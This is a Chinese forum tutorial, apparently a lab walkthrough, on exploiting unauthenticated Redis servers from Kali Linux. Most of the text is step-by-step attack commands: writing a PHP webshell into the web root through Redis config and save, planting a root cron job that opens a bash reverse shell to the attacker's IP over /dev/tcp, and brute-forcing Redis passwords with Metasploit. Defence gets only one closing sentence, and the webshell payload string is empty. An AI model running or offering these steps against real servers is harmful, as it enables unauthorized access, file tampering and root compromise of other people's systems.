Redis渗透测试:利用与安全防护

Redis是一款跨平台的非关系型数据库,它支持多种数据类型,包括字符串、哈希表、列表、集合、有序集合和位图等。Redis能够将数据保存在内存中,并在需要时持久化到磁盘,使得重启后可以重新加载并使用数据。

图片[1]-Redis渗透测试:利用与安全防护-山海云端论坛

Redis漏洞

Redis默认使用6379端口,如果未设置密码或者密码较弱,公网上的Redis服务容易受到未经授权的访问。攻击者可以利用Redis的命令执行任意操作,包括读取数据和写入文件,从而获取系统权限。

实验环境

  • 受害端:CentOS 7(公网)
  • 攻击端:Kali Linux

安装步骤

首先,在CentOS中安装Redis:

wget http://download.redis.io/releases/redis-2.8.17.tar.gz # 下载
tar xzf redis-2.8.17.tar.gz # 解压
cd redis-2.8.17
make # 编译
cd src
cp redis-server /usr/bin
cp redis-cli /usr/bin
cd ..
cp redis.conf /etc/
redis-server /etc/redis.conf

图片[2]-Redis渗透测试:利用与安全防护-山海云端论坛

启动和注意事项

启动Redis服务前需确保防火墙和安全组已开放6379端口。

图片[3]-Redis渗透测试:利用与安全防护-山海云端论坛

未授权访问测试

在Kali中执行以下命令进行未授权访问测试:

redis-cli -h 8.219.xxx.xxx

图片[4]-Redis渗透测试:利用与安全防护-山海云端论坛

成功连接后,可进行后续操作。

利用Redis写入Webshell

在写入Webshell前,需知道Web站点的路径。假设站点路径为/var/www/html,执行以下命令:

config set dir /var/www/html # 设置目录
config set dbfilename kali.php # 生成文件
set xxx “\r\n\r\n\r\n\r\n” # 写入内容
save # 保存

图片[5]-Redis渗透测试:利用与安全防护-山海云端论坛

写入成功后,访问相应文件即可。

图片[6]-Redis渗透测试:利用与安全防护-山海云端论坛

反弹Shell

在Kali中使用nc监听端口:

nc -lvp 5555

图片[7]-Redis渗透测试:利用与安全防护-山海云端论坛

然后通过Redis创建定时任务文件,从而上线nc:

config set dir /var/spool/cron/crontabs
config set dbfilename root
set xxx “\n\n* * * * * /bin/bash -i>&/dev/tcp/kali的IP/5555 0>&1\n\n”
save

Redis密码破解

一般情况下,Redis会设置默认密码。可以使用Metasploit进行密码破解:

图片[8]-Redis渗透测试:利用与安全防护-山海云端论坛

msfconsole
use auxiliary/scanner/redis/redis_login
set RHOSTS 8.219.xxx.xxx
set PASS_FILE /root/22.txt # 密码字典
run

图片[9]-Redis渗透测试:利用与安全防护-山海云端论坛

成功破解后,即可进行进一步操作。

图片[10]-Redis渗透测试:利用与安全防护-山海云端论坛

总结

Redis的漏洞容易被攻击利用,因此在配置和使用时需格外小心,及时修补漏洞以保证系统安全。

© 版权声明
THE END
喜欢就支持一下吧
点赞9 分享
评论 抢沙发

请登录后发表评论

    暂无评论内容